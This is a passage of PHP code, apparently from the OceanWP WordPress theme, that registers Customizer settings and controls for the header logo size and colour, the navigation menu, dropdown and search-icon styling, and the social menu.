'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_logo_max_width_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_logo_max_width_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_logo_max_width', array( 'label' => esc_html__( 'Max Width (px)', 'oceanwp' ), 'section' => 'ocean_header_logo', 'settings' => array( 'desktop' => 'ocean_logo_max_width', 'tablet' => 'ocean_logo_max_width_tablet', 'mobile' => 'ocean_logo_max_width_mobile', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_custom_logo', 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Header Logo Max Height */ $wp_customize->add_setting( 'ocean_logo_max_height', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_logo_max_height_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_logo_max_height_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_logo_max_height', array( 'label' => esc_html__( 'Max Height (px)', 'oceanwp' ), 'section' => 'ocean_header_logo', 'settings' => array( 'desktop' => 'ocean_logo_max_height', 'tablet' => 'ocean_logo_max_height_tablet', 'mobile' => 'ocean_logo_max_height_mobile', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_custom_logo', 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Header Logo Color */ $wp_customize->add_setting( 'ocean_logo_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_logo_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_header_logo', 'settings' => 'ocean_logo_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_custom_logo', ) ) ); /** * Header Logo Hover Color */ $wp_customize->add_setting( 'ocean_logo_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_logo_hover_color', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_logo', 'settings' => 'ocean_logo_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_custom_logo', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_header_menu' , array( 'title' => esc_html__( 'Menu', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Custom Nav Template */ $wp_customize->add_setting( 'ocean_custom_nav_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_custom_nav_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library to replace the navigation.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu', 'settings' => 'ocean_custom_nav_template', 'priority' => 10, 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Menu Top Level Dropdown Icon */ $wp_customize->add_setting( 'ocean_menu_arrow_down', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_arrow_down', array( 'label' => esc_html__( 'Top Level Dropdown Icon', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_arrow_down', 'priority' => 10, ) ) ); /** * Menu Second+ Level Dropdown Icon */ $wp_customize->add_setting( 'ocean_menu_arrow_side', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_arrow_side', array( 'label' => esc_html__( 'Second+ Level Dropdown Icon', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_arrow_side', 'priority' => 10, ) ) ); /** * Menu Dropdown Top Border */ $wp_customize->add_setting( 'ocean_menu_dropdown_top_border', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_dropdown_top_border', array( 'label' => esc_html__( 'Dropdown Top Border', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_dropdown_top_border', 'priority' => 10, ) ) ); /** * Menu Position */ $wp_customize->add_setting( 'ocean_menu_position', array( 'transport' => 'postMessage', 'default' => 'right-menu', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_menu_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_position', 'priority' => 10, 'choices' => array( 'left-menu' => esc_html__( 'Left', 'oceanwp' ), 'center-menu' => esc_html__( 'Center', 'oceanwp' ), 'right-menu' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_header_styles', ) ) ); /** * Links Effect */ $wp_customize->add_setting( 'ocean_menu_links_effect', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_links_effect', array( 'label' => esc_html__( 'Links Effect', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_links_effect', 'priority' => 10, 'choices' => array( 'no' => esc_html__( 'No Effect', 'oceanwp' ), 'one' => esc_html__( 'Underline From Left', 'oceanwp' ), 'two' => esc_html__( 'Underline Up', 'oceanwp' ), 'three' => esc_html__( 'Underline Down', 'oceanwp' ), 'four' => esc_html__( 'Brackets', 'oceanwp' ), 'five' => esc_html__( 'Overline & Fixed Underline', 'oceanwp' ), 'six' => esc_html__( 'Circular Reveal', 'oceanwp' ), 'seven' => esc_html__( 'Tripple Dot Under', 'oceanwp' ), 'eight' => esc_html__( 'X Marks The Spot', 'oceanwp' ), 'nine' => esc_html__( 'Underline & Overline', 'oceanwp' ), 'ten' => esc_html__( 'Backlighting', 'oceanwp' ), ), ) ) ); /** * Links Effect Blue Color */ $wp_customize->add_setting( 'ocean_menu_links_effect_blue_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_links_effect_blue_color', array( 'label' => esc_html__( 'Links Effect: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_links_effect_blue_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_links_effect_blue', ) ) ); /** * Links Effect Dark Color */ $wp_customize->add_setting( 'ocean_menu_links_effect_dark_color', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.1)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_links_effect_dark_color', array( 'label' => esc_html__( 'Links Effect: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_links_effect_dark_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_links_effect_dark', ) ) ); /** * Main Styling Heading */ $wp_customize->add_setting( 'ocean_menu_main_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_menu_main_styling_heading', array( 'label' => esc_html__( 'Main Styling', 'oceanwp' ), 'section' => 'ocean_header_menu', 'priority' => 10, ) ) ); /** * Menu Items Padding */ $wp_customize->add_setting( 'ocean_menu_items_padding', array( 'transport' => 'postMessage', 'default' => '15', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_menu_items_padding', array( 'label' => esc_html__( 'Left/Right Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_items_padding', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 50, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_header_styles', ) ) ); /** * Menu Link Color */ $wp_customize->add_setting( 'ocean_menu_link_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_color', array( 'label' => esc_html__( 'Link Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_color', 'priority' => 10, ) ) ); /** * Menu Link Color Hover */ $wp_customize->add_setting( 'ocean_menu_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_color_hover', array( 'label' => esc_html__( 'Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_color_hover', 'priority' => 10, ) ) ); /** * Menu Link Active Color */ $wp_customize->add_setting( 'ocean_menu_link_color_active', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_color_active', array( 'label' => esc_html__( 'Link Color: Current Menu Item', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_color_active', 'priority' => 10, ) ) ); /** * Menu Link Background Color */ $wp_customize->add_setting( 'ocean_menu_link_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_background', array( 'label' => esc_html__( 'Link Background', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_background', 'priority' => 10, ) ) ); /** * Menu Link Hover Background Color */ $wp_customize->add_setting( 'ocean_menu_link_hover_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_hover_background', array( 'label' => esc_html__( 'Link Background: Hover', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_hover_background', 'priority' => 10, ) ) ); /** * Menu Link Background Current Menu Item */ $wp_customize->add_setting( 'ocean_menu_link_active_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_link_active_background', array( 'label' => esc_html__( 'Link Background: Current Menu Item', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_link_active_background', 'priority' => 10, ) ) ); /** * Dropdowns Styling Heading */ $wp_customize->add_setting( 'ocean_menu_dropdowns_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_menu_dropdowns_styling_heading', array( 'label' => esc_html__( 'Dropdowns Styling', 'oceanwp' ), 'section' => 'ocean_header_menu', 'priority' => 10, ) ) ); /** * Dropdowns Width */ $wp_customize->add_setting( 'ocean_dropdown_width', array( 'transport' => 'postMessage', 'default' => '180', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_dropdown_width', array( 'label' => esc_html__( 'Width (px)', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_width', 'priority' => 10, 'input_attrs' => array( 'min' => 30, 'max' => 500, 'step' => 1, ), ) ) ); /** * Dropdown Background Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_background', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_background', 'priority' => 10, ) ) ); /** * Dropdown Top Border Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_top_border', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_top_border', array( 'label' => esc_html__( 'Top Border Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_top_border', 'priority' => 10, ) ) ); /** * Dropdown Borders Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_borders', array( 'transport' => 'postMessage', 'default' => '#f1f1f1', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_borders', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_borders', 'priority' => 10, ) ) ); /** * Dropdown Link Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_link_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_link_color', array( 'label' => esc_html__( 'Link Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_link_color', 'priority' => 10, ) ) ); /** * Dropdown Link Hover Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_link_color_hover', array( 'label' => esc_html__( 'Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_link_color_hover', 'priority' => 10, ) ) ); /** * Dropdown Link Hover Background Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_link_hover_bg', array( 'transport' => 'postMessage', 'default' => '#f8f8f8', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_link_hover_bg', array( 'label' => esc_html__( 'Link Background: Hover', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_link_hover_bg', 'priority' => 10, ) ) ); /** * Dropdown Link Active Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_link_color_active', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_link_color_active', array( 'label' => esc_html__( 'Link Color: Current Menu Item', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_link_color_active', 'priority' => 10, ) ) ); /** * Dropdown Link Active Background Color */ $wp_customize->add_setting( 'ocean_dropdown_menu_link_bg_active', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_menu_link_bg_active', array( 'label' => esc_html__( 'Link Background: Current Menu Item', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_menu_link_bg_active', 'priority' => 10, ) ) ); /** * Search Heading */ $wp_customize->add_setting( 'ocean_menu_search_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_menu_search_heading', array( 'label' => esc_html__( 'Search Icon', 'oceanwp' ), 'section' => 'ocean_header_menu', 'priority' => 10, ) ) ); /** * Search Icon Style */ $wp_customize->add_setting( 'ocean_menu_search_style', array( 'default' => 'drop_down', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_search_style', array( 'label' => esc_html__( 'Search Icon Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu', 'settings' => 'ocean_menu_search_style', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled','oceanwp' ), 'drop_down' => esc_html__( 'Drop Down','oceanwp' ), 'header_replace' => esc_html__( 'Header Replace','oceanwp' ), 'overlay' => esc_html__( 'Overlay','oceanwp' ), ), ) ) ); /** * Search Dropdown Input Background Color */ $wp_customize->add_setting( 'ocean_search_dropdown_input_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_dropdown_input_background', array( 'label' => esc_html__( 'Input Background Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_dropdown_input_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_dropdown', ) ) ); /** * Search Dropdown Input Color */ $wp_customize->add_setting( 'ocean_search_dropdown_input_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_dropdown_input_color', array( 'label' => esc_html__( 'Input Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_dropdown_input_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_dropdown', ) ) ); /** * Search Dropdown Input Border Color */ $wp_customize->add_setting( 'ocean_search_dropdown_input_border', array( 'transport' => 'postMessage', 'default' => '#dddddd', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_dropdown_input_border', array( 'label' => esc_html__( 'Input Border Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_dropdown_input_border', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_dropdown', ) ) ); /** * Search Dropdown Input Focus Border Color */ $wp_customize->add_setting( 'ocean_search_dropdown_input_border_focus', array( 'transport' => 'postMessage', 'default' => '#bbbbbb', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_dropdown_input_border_focus', array( 'label' => esc_html__( 'Input Border Color: Focus', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_dropdown_input_border_focus', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_dropdown', ) ) ); /** * Search Overlay Background Color */ $wp_customize->add_setting( 'ocean_search_overlay_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.9)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_bg', array( 'label' => esc_html__( 'Overlay Background Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Color */ $wp_customize->add_setting( 'ocean_search_overlay_input_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_input_color', array( 'label' => esc_html__( 'Input Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_input_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Placeholder Color */ $wp_customize->add_setting( 'ocean_search_overlay_placeholder_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_placeholder_color', array( 'label' => esc_html__( 'Input Placeholder Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_placeholder_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Dashed Text Color */ $wp_customize->add_setting( 'ocean_search_overlay_input_dashed_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_input_dashed_bg', array( 'label' => esc_html__( 'Input Dashed Text Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_input_dashed_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Border Color */ $wp_customize->add_setting( 'ocean_search_overlay_input_border_color', array( 'transport' => 'postMessage', 'default' => '#444444', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_input_border_color', array( 'label' => esc_html__( 'Input Border Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_input_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Hover Border Color */ $wp_customize->add_setting( 'ocean_search_overlay_input_hover_border_color', array( 'transport' => 'postMessage', 'default' => '#777777', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_input_hover_border_color', array( 'label' => esc_html__( 'Input Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_input_hover_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Input Focus Border Color */ $wp_customize->add_setting( 'ocean_search_overlay_input_focus_border_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_input_focus_border_color', array( 'label' => esc_html__( 'Input Border Color: Focus', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_input_focus_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Search Overlay Close Button Color */ $wp_customize->add_setting( 'ocean_search_overlay_close_button_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_search_overlay_close_button_color', array( 'label' => esc_html__( 'Close Button Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_search_overlay_close_button_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_search_overlay', ) ) ); /** * Dropdown Category Heading */ $wp_customize->add_setting( 'ocean_menu_dropdown_category_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_menu_dropdown_category_heading', array( 'label' => esc_html__( 'Dropdowns Categories Posts', 'oceanwp' ), 'section' => 'ocean_header_menu', 'priority' => 10, ) ) ); /** * Dropdown Category Title Background Color */ $wp_customize->add_setting( 'ocean_dropdown_category_title_bg', array( 'transport' => 'postMessage', 'default' => '#f8f8f8', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_category_title_bg', array( 'label' => esc_html__( 'Category Title: Background', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_category_title_bg', 'priority' => 10, ) ) ); /** * Dropdown Category Title Color */ $wp_customize->add_setting( 'ocean_dropdown_category_title_color', array( 'transport' => 'postMessage', 'default' => '#222222', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_category_title_color', array( 'label' => esc_html__( 'Category Title: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_category_title_color', 'priority' => 10, ) ) ); /** * Dropdown Category Posts Links Color */ $wp_customize->add_setting( 'ocean_dropdown_category_links_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_category_links_color', array( 'label' => esc_html__( 'Posts Links: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_category_links_color', 'priority' => 10, ) ) ); /** * Dropdown Category Posts Links Hover Color */ $wp_customize->add_setting( 'ocean_dropdown_category_links_hover_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_category_links_hover_color', array( 'label' => esc_html__( 'Posts Links Hover: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_category_links_hover_color', 'priority' => 10, ) ) ); /** * Dropdown Category Posts Date Color */ $wp_customize->add_setting( 'ocean_dropdown_category_date_color', array( 'transport' => 'postMessage', 'default' => '#bbbbbb', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_dropdown_category_date_color', array( 'label' => esc_html__( 'Posts Date: Color', 'oceanwp' ), 'section' => 'ocean_header_menu', 'settings' => 'ocean_dropdown_category_date_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_header_menu_social' , array( 'title' => esc_html__( 'Social Menu', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Social Menu */ $wp_customize->add_setting( 'ocean_menu_social', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social', array( 'label' => esc_html__( 'Enable Social Menu', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social', 'priority' => 10, ) ) ); /** * Social Menu Template */ $wp_customize->add_setting( 'ocean_menu_social_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Social Menu Style */ $wp_customize->add_setting( 'ocean_menu_social_style', array( 'default' => 'simple', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social_style', array( 'label' => esc_html__( 'Social Link Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_style', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', 'choices' => array( 'simple' => esc_html__( 'Simple', 'oceanwp' ), 'colored' => esc_html__( 'Colored', 'oceanwp' ), 'minimal' => esc_html__( 'Minimal', 'oceanwp' ), 'dark' => esc_html__( 'Dark', 'oceanwp' ), ), ) ) ); /** * Social Menu Target */ $wp_customize->add_setting( 'ocean_menu_social_target', array( 'transport' => 'postMessage', 'default' => 'blank', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social_target', array( 'label' => esc_html__( 'Social Link Target', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_target', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', 'choices' => array( 'blank' => esc_html__( 'New Window', 'oceanwp' ), 'self' => esc_html__( 'Same Window', 'oceanwp' ), ), ) ) ); /** * Social Menu Font Size */ $wp_customize->add_setting( 'ocean_menu_social_font_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_font_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 